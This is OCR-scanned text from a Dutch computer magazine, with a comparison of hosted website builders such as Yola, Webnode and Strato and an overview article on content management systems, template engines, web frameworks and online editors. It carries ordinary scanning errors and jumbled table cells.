mein is mogeiljk vanaf S 4,95 per maand. 

Microsoft Windows Live Small 
Business 

De interface van de webeditor van Microsoft 
Windows Live Small Business lljkt sterk op die 
van Office 2007, Twee ribbons aan de boven- 
ste rand scheiden overzichtefijk de opties voor 
afzonderlijke pagina's van die voor de hele 
site. Mi era softs CMS stelt weliswaar maar een 
(enigszins saaie) template ter beschikking, 
maar deze kan wel veelzijdig worden aange- 
past met 35 verschillende kleurschema's en de 
mogelijkheid het design van het titelbfok te 
wijztgen. Daarvoor biedt de dienst passende 


titeElogo's aan voor de meest uiteenlopende 
onderwerpen, van 'boekhouding' tot Verkeer'. 
Bovendien kun je de standaard lay-out met 
eigen CSS-tode aanpassen. 

Per pagina zijn maximaal vijf'zones' beschik- 
baar om content in te plaatsea De lay-out en 
grootte van die 'zones' kan worden aangepast 
Via zogenaamde modules kun je ook content 
van andere websites in de ’zones' inbedden. 
Voor dit doel zijn een aantal Microsoft-dten- 
sten als vaste opties in het menu verankerd, 
zoals het bloggingpiatform Live Spaces en 
de kaartdienst MapPoint Tevens kun je via de 
module ’HTML' content van willekeurigere an¬ 
dere websites inTegrerea De webeditor heeft 
standaard ook een zoekoptie voor Microsofts 
zoekmachine live, maar een zoekmachine die 
binnen de site zoekt ontbreekt. 

Af en toe reageerde de webeditor tijdens 
onze tests wat traag. Hij onderscheidde zich 
daamaast negatief met ruim 30 HTML-fouten 
in de geproduceerde code. Toch stokte de 
lay-out uiteindelijk in geen van de gang bare 
browsers, Het eerste jaar mag je de dienst 
gratis teste n. Daarna beta a I je € 9,99 voor een 
.com, .net, .org, .info of .eu domein. 

Sprout Builder 

Sprout Builder is een widgetspecialist De 
mini websites die je hiermee creeert - de zo¬ 
genaamde sprouts - zijn bedoeld om in an¬ 
dere websites op te nemen. Weliswaar draai- 
en ze ook op de site van Sprout zelf, maar 
dat is vooral ter zelfpresentatie. Van Sprout 
is er een gratis versie met beperkingen. Je 
kunt dan maximaal drie projecten maken en 
hebt een dataverkeer van 10 6B per maand. 
Bovendien zitten er advertenties in. Voor 19 
dollar per maand is je Sprout-site vrij van 
logo's, mag je 18 projecten maken en wordt 
het dataverkeer verdubbeld. WII je nog meer 


mogdijkheden, kun je ook voor de Designer 
of Professional versie kiezen, Als je meerdere 
gebruikers aan een project wilt Eaten werken, 
kun je nog voor Agency kiezen. Voor deze ver¬ 
sie moet je met Sprout zelf contact opnemen. 

Sprouts zijn Flash-widgets, en ook de edi- 
tor zelf is in Flash gebouwd. Met de verschil¬ 
lende zwevende toolbars en een werkblad 
lijkt het eerder op een desktoppublishing- 
programma dan op een HTML-editor. Van 
alle diensten uit de test is Sprout Builder de 
enige waarmee je objecten (zander aan de 
CSS-broncode te sleutelen) tot op de pixel 
nauwkeurig kunt piaatsen. Je hebt geen 
toegang tot de broncode, maar je kunt de 
lay-out door een breed scala aan insteflings- 
mogelijkheden net zo flexibel bewerken als 
met CSS. 

Sprout biedt van huis uit weinig functies* 
Blogs, forums en formulieran ontbreken dan 
ook. Wel kun je de widget nauw met andere 
webdiensten laten samenwerken, bijvoor¬ 
beeld met Google Calendar, Google Maps, 
Twitter of Poll Daddy [enquetes). Een mo¬ 
gelijkheid om willekeurige andere widgets 
te embedden ontbreekt, Een workshop over 
Sprout vind je vanaf p. 102. 

Strato Easy Web 

Strato biedt zijn klanten met LivePages al 
een aantal jaar een optioneel gemtegreerd 
contentmanagementsysteem aan. Met Easy- 
Web biedt de exploitant nu een eenvoudig 
CMS dat spedaal is bedoeld voor klanten 
die zich zo min mogeiljk met de teehnische 
details van hun website willen bezighouden. 
De provider hanteert daarbij een nogai on- 
overzichtelijke verzameling aanbiedingen, 
waarbij alle fosse producten [e-mail, blogs, 
websites, foto’s en video's) in een standaard- 
en een XL-varfant beschikbaarzijn of gebun- 
deid in het MultiWeb-pakket, waar wederom 
twee varianten van zijn, 

Dit leidt soms tot merkwaardige combina- 
ties, bijvoorbeeld een klein foto/videopakket 
voor zon vier euro per maand, zonder dat je 
van Strato ook maar een LivePages-pagina 
krijgt. Om met de foto- en videopakketten 
tenminste vijf met LivePages beheerde pa¬ 
gina's te krijgen - bijvoorbeeld om een paar 
overzichtspagina's te maken - moet je aE 
zeven euro per maand neertellen. 

Op het bedieningsgemak van de afzonder¬ 
lijke contentmanagementfuncties valt niets 
aan te merken. LivePages ordent de bewer- 
king van de homepage heel zinvol in 'Branched 
r Ontwerp; ’Indeling' en ’Inhoud' [maar gene- 
reerde tijdens onze pogingen met 18 HTML- 
fouten wel een vrij hoge foutsoore). Voor blogs 
wordt een aangepaste versie van Word Press 
gebruikt en ook de Medlapoof voor het beheer 
van fotoalbums werkt praktisch. Toch maakt 
de combinatie van de afzonderlijke onderde- 
len een nogai bij elkaar geraapte indruk, met 
name in het MultiWeb-pakket, Er is haast geen 
samenhang tussen de verschillende functies, 
Voor elk onderdeel moet je in een apart back¬ 
end Inloggen, waarbij bijna ieder backend een 
andere lay-out heeft. 
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Strato ordent de bewerking van je LivePages in zin voile stappen, maar genereert we I 
relatief veel HTML-fouten. 


Yola 

Yola (tot voor kort SynthaSite) presenteert 
je webslteontwerp in een WYSfWYG-editor, 
waarbij de zogenaamde Content Sidebar 
zieh rechts in het venster bevindt Vanuit 
deze werkbalk sleep je de gewenste in- 
houdselementen naar het hoofdvenster, 
waarin je pagina wordt weergegeven. Tot 
de mogelijkheden behoren onder andere 
’Tekst' en Image' maar ook Two Column 
Lay-out' en 'HTML Bovendien zijn er een 
dertigtal widgets beschikbaar die je in je 
site kunt integreren, waaronder de e-com- 
mercefuncties van PayPal, In tegenstelllng 
tot teksten die je ter piekke in-site wijzigf, 


verschijnt ervoorde widgets een apart con- 
flguratievenster. 

Voor de website lay-out kun je uft 71 tem¬ 
plates kiezen, waarvan er een aanta! in ver- 
schillende kleurvarianten beschikbaar zijn. 
Opmerkelijk is de mogelijkheid om je web- 
pagina's als zip-archief te downloaded zodat 
je de site ook ergens anders kunt publiceren. 
Daarentegen ontbreken elementaire functfes 
als een zoekmachine en een sitemap. 

Yola is op dit moment geheel gratis en met 
uitzondering van een voetnoot en linkonder- 
aan de pagina vrij van reclame. Maar dit zou 
zo kunnen veranderen, aangezien het busi- 
nessmodel volgens de algemene voorwaar- 
den te alien tijden kan worden gewijzigd 


Terapad 

Terapad biedt naast gangbare modules als 
'News', 'Gallery 1 en 'Forums' ook een reeks 
websitecomponenten die voomamelijk re¬ 
levant zijn voor bedrijven, zoals 'Shop' en 
'Careers', De mogelijkheid om een aanta I 
third-partydiensten te integreren, is al ge- 
implementeerd, waaronder del.irio.us, Digg, 
Google Analytics en PayPal Je hoeft ze alieen 
nog maar te activeren. Terapad biedt zelfs de 
mogelijkheid tot gebruikersbeheer, waarmee 
je gedetailleerd kunt vastleggen welke bewer- 
ker welke delen van de site mag veranderen. 

Alle modules zijn ook beschikbaar in de 
gratis versie. Deze zit overigens wel boorde- 
vol reclame, met een advertentiebaik boven 
de website, een lange verticale balk met 
Google-reclame rechts en een opvallende 
Terapad-button onder het menu. Vanaf 
$14,15 per maand kun je je voor een adver- 
tentievrij pakket aanmelden. 

Terapad is qua design zeerflexibel. Zo kun 
je uit 98 aantrekkelijke templates kiezen, de 
C55-code aanpassen en voor 400 dollar een 
exclusieve template op maat laten makern 
Met een pra ktische WYSIWYG-editor wijzig je 
de pagina-inhoud, alieen was deze brj onze 
tests soms helaas met vooruit te branden. 

Webnode 

De bedieningsinterface van Webnode heeft 
met een ribbonachtige menubalk veel weg 
de interface van Microsofts CMS-dienst. 

De dialoogvensters met Windows-look 
geven Webnode nog sterker het gevoel 


Webeditors met eenvoudige contentmanagementsystemen 


Aanbieder 

Webs 

Goodlekit 

Edlcy 

Interned Services 

Jimdo 

Website 

www.webs.com 

www.doodldrir.com 

www.edicy.com 

www.is.nl 

www.jlmdo.com 

OpbouwlM 

http://< naam > .webs.com 

http://<naamxdGod lekit.com 

http://< nu mmer> .ed lcypages.com 

nl-domein rraar ketrze 

http://<naam>.jimdo.com 

Eigen nl-domein mogefijk 

’-(vanaf Enhanced: s/\ 

-(vanaf Simple:^) 

-(vanaf PnxV) 


- (vanafPro:^) 

Wachtwoordbevelllging / gebrui- 
kersbebeer 

- (vanafStarted) /- 

-A/ 

-U 


✓ (wachtwoord bevel figde 
gebieden)/- 

Ondersteunde browsers (Admin) 

internet Explorer, Ftretax, Opera, 
Safari, Chrome 

Internet Explorer, Firetax, Opera, 
Safari 

Internet Explorer, Flrefbx, Opera, 
Safari, Chrome 

Internet Explorer, Firefox, Opera 

Internet Explorer, FI refox. Opera, 

Safari 

Design 

Aantal templates / lay-eutvarianten 
/.paginasjabEonen 

56 / afhankelijfc van template 
3-18/2 

5/ 816 (default lay-out) f\ 

T6/-/2 

500 / 27/1 

69/3/19 

taegang tot layoutbroncode 

v' 



- 

s/ 

Componenten 

Zoekmachine/sitemap 

-/■- 

yf- 

✓ /- 

- 


Fotogallerijen 

v' 


- 



Glog 





^(btta) 

Comments / forum 

V t\S (gastenboek) 


v - (in blog)/— 


v' !>/ (gastenboek) 

Gadgets 


v' 


- 

<s 

StatEstlefcen 


-(vanaf Business: ✓) 

- 


(Google Analytics, eigen) 

Overig / bijaunderbeden 

webwinfcelfoncties, integrate van 
betaaldrensten, members app. 

winkelwagen (vanaf Business} 

meertalige websites 

* 

login met Open ID 

Be o or deling 




-—— 

| 


Aantal fimaies 

© 

O 

O 

O 

© 

Bediening 


O 

© 

© 

©® 

HTML code (getest met Validome) 

©(IBfouten) 

©(19fmiten) 

©(19 tauten) 

©(22 tauten) 

0 (5 tauten) 

Prijs 

Free: gratis, 500 MB dataverkeer/ 
maand, 200 MB webruimre, adver- 
tentielink; Enhanced: $8,3 3/maand, 
meer componenren, 25 GB dataver- 
keer/maand, 750 MB webruimte, 
qeenadveriemies J 

Free: gratis, 5 pagina's, 500 fbto's, 
25-000 page-views/ maand, ad¬ 
vertences; Simple: % 14/maand, 30 
pagina's, 1000 foto\ 50.000 page- 
views/maand,geen advertenties ?j * 

gratis; Pro: eigen domein, vanaf 
€ 6/maand 

Gratis: 30 dagen proefpagina; IS 50: 
€ 9,95/maand, 50 MB webruimte, 

5 GB dataverkeer/maand, advet- 
tentievrij 2 

JimdoFree: gratis, 500 MB, 
advertenties; JimdoPra: 

€ 5/maand, 5 GB, 1 domeln, 
advertentievrij 


I meer pfljsvarlamen, zie website * korting raornon-proftorganlsaties 4 gegerens van toepassing op SiteWeb-rersie 5 vanaf Bigness 
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Heel veelzijdig: Webnode biedt via een ribbon een breed scala aan opties. 


van een desktopprogramma. Webnode 
is soms wat traag, maar daar staat tegen- 
over dat het een zeer veelzljdige dienst is, 
Het biedt een reeks proprietaire modules, 
bijvoorbeeld voor fotogalleries, forums of 
enquetes. Daarnaast kun je via een menu- 
optie widgets van een reeks third-partyaan- 
bieders in je site opnemen, waaronder be- 
taalmodules van PayPal, Google Checkout 
en WorldPay. 

De editor werkt niet geheel in-site: je web¬ 
site wordt wel altijd weergegeven, maar voor 


de bewerking van veel inhoudselementen, 
bijvoorbeeld tekstblokken en fotogalerieen, 
opent Webnote een apart venster. Hierdoor 
kun je het effect van veranderingen pas be- 
oordelen nadat je het venster hebt gesloten. 
Webnode biedt slechts zeven neutrale sja- 
blonen in verscbitlende kleurschema's, maar 
je kunt ook een eigen sjabloon uploaden* 
Alle essentiele functies van Webnode zijn 
ook in de gratis variant beschikbaar, De web- 
ruimte van 100 MB en dedatalimiet van 1 GB 
per maand zijn voor een particuliere of klelne. 


matig bezochte bedrijfssite zeker voldoende. 
Webnode geeft geen reclame weer, afgezien 
van een voetnoot met link naar de aanbieder 
onderaan de site. Met de commertiele vari¬ 
anten kun je de voetnoot aanpassen, een 
meertalige site maken en gebruik maken van 
wachtwoordbeveiliglng en Premium-support. 
Het aanvragen van een eigen domein kost 
$ 24,95. Pit is ook bij het kleinste pakket al 
mogeltjk. 

Conclusie 

Met alle aanbieders heb je snel een web¬ 
site bij elkaar geklikt. Hoewel Jimdo het 
snelste Is, is het qua designs nogal beperkt 
Wix is, net als Sprout Builder, gescbikt om 
paginal te creeren die als gadget in an- 
dere sites kunnen worden opgenomen. 
Sprout Builder en IS Websitebouwer bieden 
als emge webeditors niet de mogeiijkheid 
gewenste andere widgets te embedden. 
Webs, Edicy en Jimdo zijn de beste keuzes 
voor een 'normale 1 particuliere website. De 
aanbiedingen van Webnode, Doodlekit, IS 
Websitebouwer en Microsoft zijn het meest 
geschikt voor een bedrijfssite. Bij Doodlekit 
kun je wel beter voor een van de varianten 
zonder de irritante reclame klezen. Sij Micro- 
softs dienst is het hoge aantal HTML-fouten 
store nd. (jva) 

Mteratuur 

[1] Herbert Braun, Noud van Kruysbergen, Altijd 
content, Open source contentmanagementsyste- 
men en andere toots voor dynamfsche websites, 
dt 9/2007, p. 64, 
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wwwipfoiitbuilder.com 
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Internet Explorer, Firefox 

Internet Explorer, Firefox, Opera, 
Safari, Chrome 

Internet Explorer, firefox, 
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Internet Explorer, Firefox, 
Opera, Safari 
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Opera, Safari 
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Integrate van betaaldiensten 


° 

©© 

o 

O 

© 

O 

© 

© 

0 

© 

© 

O 

O 

© 

©G(32fouten) 

n.v.t (Flash) 

n.v.L (Flash) 

©(iBfooten) 

©@ (41 fouten) 

©(18 fouten) 

©@ (2 fouten) 

€ 9,99/jaar (eerste jaar gratis) 

Free: gratis, 500 MB dataver* 
keer/maand, 200 MB webruim* 
te, advertentifis; My Domain: 

$ 4,D3/maand, 1 GB dataverkeer/ 
maamf, 500 MB webmimte, ad- 
vertentiewi], eigen domein ? 

Free: gratis; 10 GB data* 
verkeer p.m; advertenties. 
Individual: 519 p.m.; 20 

GB dataverkeer p.m,: geen 
advertenties 

SiteWeb:€3/maa nd.nl- 
domein, 20 paginal; Site Web 
Pro: € 7/maand, domein naar 
keuze, 20 pagina's; MultiWeb: 
€l2/maand 7 

gratis; 514,95 voor com-Of 
net-domein 

Free: gratis, 10 GB dataverkeer/ 
maand, 1 GB webruimte, ad- 
verterrtie; Standard: $14,15/ 
maand, 40 GB dataverkeer/ 
maand, 4 GB webruimte, geen 
advertenties' 

Free; 100 MB webruimte, 1 

GB dataverkeer/maand; Mini: 
300 MB webruimte,3 GBdata- 
verkeer/maand;nl-domein: 

$ 24,95/jaaH 

©©zeeigoed ©qoaf 

O redelijk ©stedrt Q©zeersl«ht ✓Mnweztq 

- afwezlg n.v.tniet vantoepa 
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Herbert Braun, Noud van Kruysbergen 

Altijd content 

Software om je eigen website te maken 


Het is nriakkelijker dan ooit om een overzichtelijke site op te zetten, Sinds de 
uitvinding van hetcontentmanagementsysteem (CMS) hoef je zelfs geen HTML 
meer te kennen. Bovendien is het dankzij zo'n CMS gemakkelijk om de site 
up-to-date te houden en extra rubrieken te starten. Je hoeft nooit meer 
de navigatie voor de zoveelste keer handmatig aan te passen en Google 
indexeert de webstructuren van CMS'en doorgaans ook beter dan die van 
zelfbouwsites. Bovendien kun je met een CMS eenvoudig coliega's of 
vrienden bijdragen laten leveren aan je site. 
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W ie een site met enkel een paar pagi¬ 
nal en contactinformatie heeft, zal 
er niet zo'n behoefte aan hebben* 
Maar zodra je een website onder je hoede 
hebt waar regelmatig nieuwe artikelen op 
moeten verschijnen, of een site die je door 
meerdere mensen wilt laten bijhouden, ont- 
kom je niet aan een meer gestructureerde 
aan pa k* Dat is precies wat een contentma- 
nagementsysteem (CMS) biedt. Met deze 
software automatiseer je het maken van 
webpagina's. 

8ij een statische website staan de inhoud 
en de lay-out over het algemeen dwars door 
elkaar in de HTML-code, waardoorhetonder- 
houd steeds moeiiijker wordt naarmate de 
site groeit. Ook stytesheets veranderen daar 
in de praktijk niet veel aan. Een CMS maakt 
daarentegen strikt ondersoheid tussen de 
inhoud en de vormgeving. Dat gebeurt vol- 
gens het Model-View-Control-paradigma* 
Daarbij staat het 'model' voor de daadwerke- 
lijke content die wordt bewaard in een data¬ 
base of op een bestandssysteem, 'view' voor 
de lay-out sjablonen (’templates') en 'control' 
voor de fogica die beide verbindt, de kern 
van de applicatie, 

Een goed CMS geeft gebruikers de moge- 
fijkheid om nieuwe teksten, afbeeldingen en 
allerlei verschlllende soorten documenten 
binnen e£n systeem te publiceren. Het schrij- 
ven van een nieuwe webpagina is met een 
modern CMS net zo makkelijk als het typen 
van een nieuw Word-document. Een CMS 
heeft liefst dan ook een intuTtref te bedienen 
WYSIWYG-editor, evenals eenvoudtge beeld- 
bewerkingsfuncties voor het schalen, btjsnij- 
den en invoegen van illustraties* De back¬ 
end, de 'achterkanf van hef systeem, waar 
de gegevens warden ingevoerd en waar het 
systeem beheerd wordt, is op dezelfde ma- 
nier bereikbaar als de voorkant van de site: 
via de browser. Je hoeft dus alteen software 
te installeren op je server* 

Qua gebruikersbeheer zijn verschlllende 
rechten voor auteurs en beheerders een mi¬ 
ni mu meis. Kenmerkend aan uitgebreidere 
CMS’en is dat je daar nog veel meer aan kunt 
instellen. Een auteur mag daarbij slechts 
be pa aide delen van de site veranderen, een 
designer heeft al teen toegang tot de lay-out 
en er bestaan aparte rechten om nieuwe bij- 
dragen te fiatteren* Als je zo'n uitgebreider 
CMS gaat gebruiken, is het ook noodzakelijk 
om met de gebruikers een workflow op te 
stellen. Een aantal standaardrollen helpen bij 
het aanmaken van nieuwe gebruikers. Door 
be pa aide rechten te wijzigen is het mogeiijk 
de roi van gebruikers of groepen tot in detail 
te spedficeren. 

Ook in de front-end moet een goed CMS 
onderscheid kunnen maken tussen verschil- 
lende gebruikers, bijvoorbeetd als bepaalde 
content of reacties alleen na registratie lees- 
baa r mogen zijn. Omdat zoiets echter lang 
niet voor a lie CMS-installaties een eis is en 
een CMS zelf al gauw redelijk onoverzichte- 
lijk kan lijken, zetten de meeste programma- 
makers dit soort functies in aparte modules. 
Voor veel mensen zijn die modules de extra's 



Editors die in een 
browser werken, 
bieden alle mo- 
gelijkheden dieje 
van een WYSIWYG- 
tekstverwerker mag 
verwachten. Door 
een aantal functies 
te reduceren, kun je 
ook een compactere 
editor krijgen. 


die een CMS pas echt interessant maken: 
voorbeelden van uitbreidingen zijn een foto- 
album, een nieuwsbrief, een webshop voor 
ambitieuze fotografen, een discussieforum 
en RSS-aggregator voor actieve internetters, 
maar ook een kalender, chatfunctie, gasten- 
boek en nog veel meer. Voor populate con- 
tentmanagementsystemen bestaan honder- 
den modules, dieoverigens onderling enorm 
kunnen verschillen wat de kwalfteit van de 
code en documentatie betreft. 

De kwaliteit van webpagina's die zo’n 
CMS genereert hangt in de eerste plaats af 
van de templates. Ook al heb je nog zo'n 
mooi standaardconform sjabloon dat in alle 
browsers werkt, een slechte WYSIWYG-editor 
of een onhandig template-mechanisme kan 
je site alsnog rui'neren. Rest ons nog je erop 
te attenderen dat een CMS via internet te 
bereiken is en dus goed beveMigd moet zijn 
(mclusief alle extra modules). Denk ook aan 
zaken als een comfortabele baek-upfunctie 
en versiebeheer, waarmee je een eerdere 
toestand kunt herstellen als iemand lets ver- 
keerd heeft gedaan. 

Denk in het begin goed na over welk 
contentmanagementsysteem je wilt gaan 
gebruiken, omdat het voor webmasters een 
enorme klus is om later van systeem te ver¬ 
anderen en de oude content te migreren* 
De meeste systemen hebben maar wei nig of 
geen import- en exportfuncties* Zo ontstaan 
er al problemen als je van een kleine server 
naar een grotere switcht als je CMS-produ- 
cent toevallig niet aan dergelijke migrates 
heeft gedacht* 

Concierge 

Er bestaan honderden contentmanagement- 
systemen, geschreven in zowat alle mo- 
gelijke programmeertalen. Sommige zijn 
opensource en gratis, aan andere hangen 
prijskaartjes van zes cijfers, Toch is een vol- 


bloed CMS dat uitpuiit van de features lang 
niet altijd de beste keus. 

Er zijn zelfs gevallen waar het simpelweg 
niet loont om uberhaupt een CMS te gaan 
gebruiken* Zelfs bij een klein contentma¬ 
nagementsysteem zul je behoorlijk wat moe¬ 
ten instellen en ben je echt wel even bezig 
om er aan te wennen. Als je slechts om de 
zoveel weken een nieuwe pagina uploadt, 
ben je waarschijnlijk beter en sneller af met 
een editor en een FTP-dient. 

Bovendien bevatten de gang bare web- 
edttors (zie tabel 1) tools voor sitebeheer, 
waarmee je als hobby webmaster een aantal 
lastige routineklussen kunt automatberen. 
Zo kun je een link in een keer op alle pagi¬ 
nal aanpassen en controleren. Dankzij het 
Dreamweaver-sjabioonformaat DWT, dat 
door meerdere programmes ondersteund 
wordt, kun je eenvoudig voor de hele site 
hetzelfde design gebruiken* Ook kun je be¬ 
paalde deien zelfs blokkeren voor een editor 
en navigatielinks op een centrale plek invoe¬ 
gen. De geTntegreerde FTP-dient uploadt 
alleen de veranderde bestanden, zodat het 
updaten vlot verloopt. Afgezien van Expres¬ 
sion Web [1] zijn alle applicaties in de tabel 
op deze pagina ook verkrijgbaar voor de 
Mac* Nvu en zijn fork KompoZer zijn er ook 
voor Linux* 

CMS voor doe-het-zelvers 

Gezien het enorme aantal beschikbare kant- 
en-klare oplossingen lijkt het nogal onzlnnig 
om zelf een CMS in elkaar te gaan zetten. 
Dat is waarschijnlijk vooral interessant als je 
in je eentje een website voor jezelf bijhoudt, 
zodat jeje CMS exact aan je eigen behoeften 
kunt aanpassen* Enige kennis van en plezier 
in programmeren is dan wel een must. Je 
hoeft niet eens een SQL-data base te gebrui¬ 
ken, wat bij kant-en-klare CMS’en gangbaar 
is* Bij de meeste hostingaanbiedingen met 
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WYSIWYG-wehedltors met websitebelieer 

Adobe Dreamweaver www.adote.com/n l/products/drea mweaver de meest populate commerdele webeditor, € 570 

Microsoft Expression Web www.rnioosollcom/netbeflanifs/exprKsion/expressiori-web veelbelovende opvolger van Frontpage, € 320 
Adobe GoLive www.adobe.com/nl/products/goJ3ve krachtigstebeheerprogramma onder de WYSIWYG- 

editors, € 580 

Nvu www. mozilta -nLorg/producten/rwu MPL, geba seeord op de Mozilla Composor, elemental 

websitebeheer 
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Coppermine 
maakt van digitale 
foto's een mooie 
webgalerie en kan 
uitgebreid worden 
tot een mmi-CMS. 


script-ondersteuning is wel een MySQL- 
database inbegrepen, maar dat is vaak ook 
meteen de bottleneck in de performance. 
Een zeifgemaakt CMS kan gegevens bijvoor- 
beeld direct in het bestandssysteem opslaan 
of de webpagina's met een offline-CMS op 
de lokale pc in elkaar zetten, Dat werkt ook 


by goedkope hostingpakketten zonder 
scnpttaal. 

Een middenweg tussen statische webpa- 
gina's en een zelfgebouwd CMS zijn Server 
Side Includes (SSI). Een set eenvoudige com¬ 
mando’s voegt externe bestanden in, geeft 
omgevingsvariabelen terug (bijvoorbeeld de 
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Template-engines 

Smarty 

http://smartypfip.iiet 

PHP, LGPL, populair 

phpCMS 

www .phpcms,de/index,en.html 

PHP, GPL, CMS-achtig 

Cheetah 

http://cheetahtemphte.org 

Python, MIT-licentie 

Template Toolkit 

www.tempiate-toelkit.org 

Perl, GPL 

Mason 

www.masontiq.com 

krachtig template*systeem voor Peri, GPL 

Frameworks 

Ruby on Rails 

www.mbyonrails.orq 

Rudy, MITIicenile, populair 

CakePHP 

www.cakephp.ofg 

PHP, MiT-lkentie 

Symfony 

www.symfony-pra-jecuom 

PHP, MlT-licentie, complex 

Zend Framework 

htEp;//framework,zend .corn 

PHP, B50, b^tafase 

Catalyst 

www.cataiysritamework.org 

Perl, GPL 

Zope 

www.zope.org 

Python, GPL-achtig, zeer complex 

Grails 

www.grails.org 

Apache-licentie, Itjkt op Ruby on Rails, maar op basis van de Java5cript-taal Groovy 

Online editors 

FCKeditor 

www.fckeditor.net 

diverse script talen, opensource ofcommerdeel, meertalig, snelmenu's, plug-ins 

Editwrx 

www.editwrx.com 

Peri,$ 40 

Website Publisher 

wwwjnter5pire.com/websitepublisher/ 

PHP, $ m 

WehEdltor2009 

www.eschelbacher.com 

PHP, voor een domein, $93 

Flyspeck 

www.flyspeck.net 

PHP, voor een domein, $35 

Kupu 

httpV/kupu.oseom.org 

Python, opensource 

Tiny MCE 

http://!inymce. mox iecode.com 

JavaScript, vervangt textarea, LGPL, plug-ins, meertalig 

Xinha 

http://xinha.python-hosting.com 

JavaScript, vervangt textarea, BSD, modulate opbouw met plug-ins en ski ns, meertalig 

Qpenwysiwyg 

www.opertwebwaie.com/products/ 

openwysiwyg 

JavaScript, vervangt textarea, LGPL, srmpel 




Wikf-systemen 

EifurtWiki 

http;//erf urtwifck5ourceforge.net 

PHP, public domain, verschiltende opslag-englnes, scriptbestand met plugdns, te 
gebrutken als een bibliotheek 

D □ kuwr’k i 

http://wiki.splitbraln.org 

PHP, geen database, GPL, klein systeem 

MoinMoin 

http://sourceforge. net/projects/moin 

Peri, geen database, populair 

TWiki 

www.twlki.org 

Perl, geen database, krachtig 

Mediawiki 

www.mediawiki.org 

PHP, MySQL of PostgreSQL GPL, wifcipedia-engine, voor grote projected niet geschikt 
voor shared hosting 

Tikiwiki 

http://tikiwikl.org 

PHP, ADODB-interface, LGPL, complex systeem met trekken van CMS en Groupware 


datum of de URL) en ondersteunt zelfs eon- 
ditionele en reguliere expressies. De etsen 
aan hard-, soft- en brainware zijn minimaal, 
ook niet-programmeurs kunnen met in- 
structies als <!-- include virtual="iiavigatlon.htmi" 
-> bijvoorbeeld een navigatiebalk inbedden 
zonder tefkens dezelfde HTML-container 
met copy & paste in de webpagina te hoe- 
ven plakken, Wat er met de mini-scripttalen 
van Apache en andere webservers zoal wel 
en niet mogefijk is, kun je tezen vanaf pagina 
120 . 

Voor het in elkaar zetten van een website 
uit verschillende, herbruikbare onderdelen 
kun je diverse scripttalen gebrutken - een 
popuiaire keus is PHP, maar het kan van 
a lies zijn r zoals Ruby, ColdFusion, Perl of ASP* 
MET. Die laatste wordt trouwens onderschat; 
dankzij mod_mono is het prima opensource 
met Apache te gebrutken. Tijdem het ont- 
wikkefen kun jeje Webserver zo instellendat 
je bepaalde delen van je site worden afge- 
schermd voor het grote publlek. Je kunt de 
bestanden htaceess en .htpasswd gebruiken 
om bepaalde directory's alleen voor bepaal¬ 
de gebruikers toegankelijk te maken [33* 

Templates 

Als je zelf HTML gaat genereren met een 
scripttaal, hoef je niet alles zelf te schrijven. 
Om content en vormgeving te scheiden wor¬ 
den hierbij vaak template-engines gebruikt. 
Dit zijn eigenlijk contentmanagementsys- 
femen in een notendop, maar dan wel zon¬ 
der RSS- en forummodules, zonder gebrui- 
kersbeheer en zonder WYSIWYG-editor. Het 
enige wat zo l n engine doet, is Inhoud en sja- 
bloon volgens bepaalde regels combineren 
tot een pagina. Enkele basisfuncties die een 
template-engine moet beheersen zijn voor- 
waardelijke expressies en opsommingen. 

Template-engines hebben dan ook een 
laag gebruikerscomfort en een hoge mate 
van fiexibiliteit. De template-talen zijn ech- 
ter eenvoudig te begrijpen en zijn boven- 
dien snel doordat ze eerder opgevraagde 
pagina's cachen. Talen als PHP kun je direct 
als tempfate-taal gebruiken, maar engines 
als Smarty scheiden de applicatiecode van 
de templates, zodat programmeurs en ont- 
werpers elkaar niet voor de voeten lopen. 

Servertoepassingen als phpCMS bieden 
extra's als statlstleken, automatisch gegene- 
reerde sitemaps, een full text search en plug¬ 
ins. Dat deze engines niet alleen geschikt 
zijn voor hobbysltes bewijst het kraehtige 
Mason, dat bijvoorbeeld door Amazon.com 
wordt gebruikt. Academisch georlenteerde 
ontwikkelaars zullen waarschijnlijk sneL 
ler neigen naar XML-transformaties (XSLTJ, 
omdat je die in alle gangbare programmeer- 
talen kunt gebruiken, en (met beperkingen) 
zelfs in de browser. 

Serverside frameworks 

Als je nog hogere eisen aan de fiexibiliteit 
stelt, kun je beter kiezen voor een applicatie 
framework dan voor een CMS. Deze moeilljk 
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Zoals de naam al 
doet vermoeden, 
isTextpattern 
een CMS met 
het accent op 
teksten, maar ook 
qua vormgeving 
is er het een en 
a nder mogelijk. 


Thf mhii r 


onder een noemer te brengen productea- 
tegorie houdt het midden tussen een pro- 
grammabibllotheek, applicatieserver, CMS 
en andere kant-en-klare database-applica- 
ties. Afhankelijk van de defmitie omvat het 
ook zwaargewichten a Is het Java- business- 
platform J2EE en Microsofts ASRNET. 

Het idee dat het ontwikkelen van webap- 
plicaties eenvoudig, robuust, veilig, uitbreid- 
baar en snel moet zijn, heeft met Ruby on 
Rails een flinke impuls gekregen (zie p.116). 
PHP-frameworks aEs CakePHP en Symfony ko- 
pieerden succesnummers als macro-frame¬ 
works ('scaffolding'), zuivere objectorientatie 
en minimale configuratie (’convention over 
configuration')* Het oudere Zope werpt on- 
evenredig hogere drempels op voor nieuwe 
gebruikers en concurreert eerder met de 
Java-architectuur. Recent heeft het Zend 
Framework aan populantett gewonnem 

Een framework is geen kant-en-klare op- 
lossing - je hebt een flinke portie program- 
meerkennis nodig om de extra beschikbare 
klassen efficient uit te buiten. Maar als je 
eenmaa! kennfs hebt gemaakt met zo'n sys- 
teem, is the sky the limit* 

WWWYSIWYG 

Aan de andere kant van het eisenspectrum 
staat de slmpele behoefte om webpagina's 
vanaf iedere pc in een browser te kunnen 
bewerken of aan te maken - natuurlijk na 
een succesvolle login. Net als Google Docs 
8t Spreadsheets richt het merendeel van de 
online WYSlWYG-editors zich op Word. De 
meeste editors kunnen werken met tem¬ 
plates en afgeschemnde delen en sommige 
ondersteunen ook verschillende gebruikers- 
rechten* Hierdoor kunnen meerdere me- 
dewerkers met de inhoud bezig zijn, is de 
bedtening eigenlijk een fluitje van een cent 
en hoeft er geen database op de server te 
draaien. 

Een aantal editors zijn onafhankelijke 
webapplicaties die op de server bestanden 
openen en schrijven. Andere editors ver- 
vangen alleen een HTML-tekstinvoerveEd, je 
moet de gebruikersinvoer dan zelf verder 


Eaten verwerken. Alle in de tabel genoemde 
online editors kunnen overweg met Internet 
Explorer en Firefox, andere browsers vallen 
meestal buiten de boot of krijgen alleen een 
tekstuele weergave te zien. 

Online typemachines 

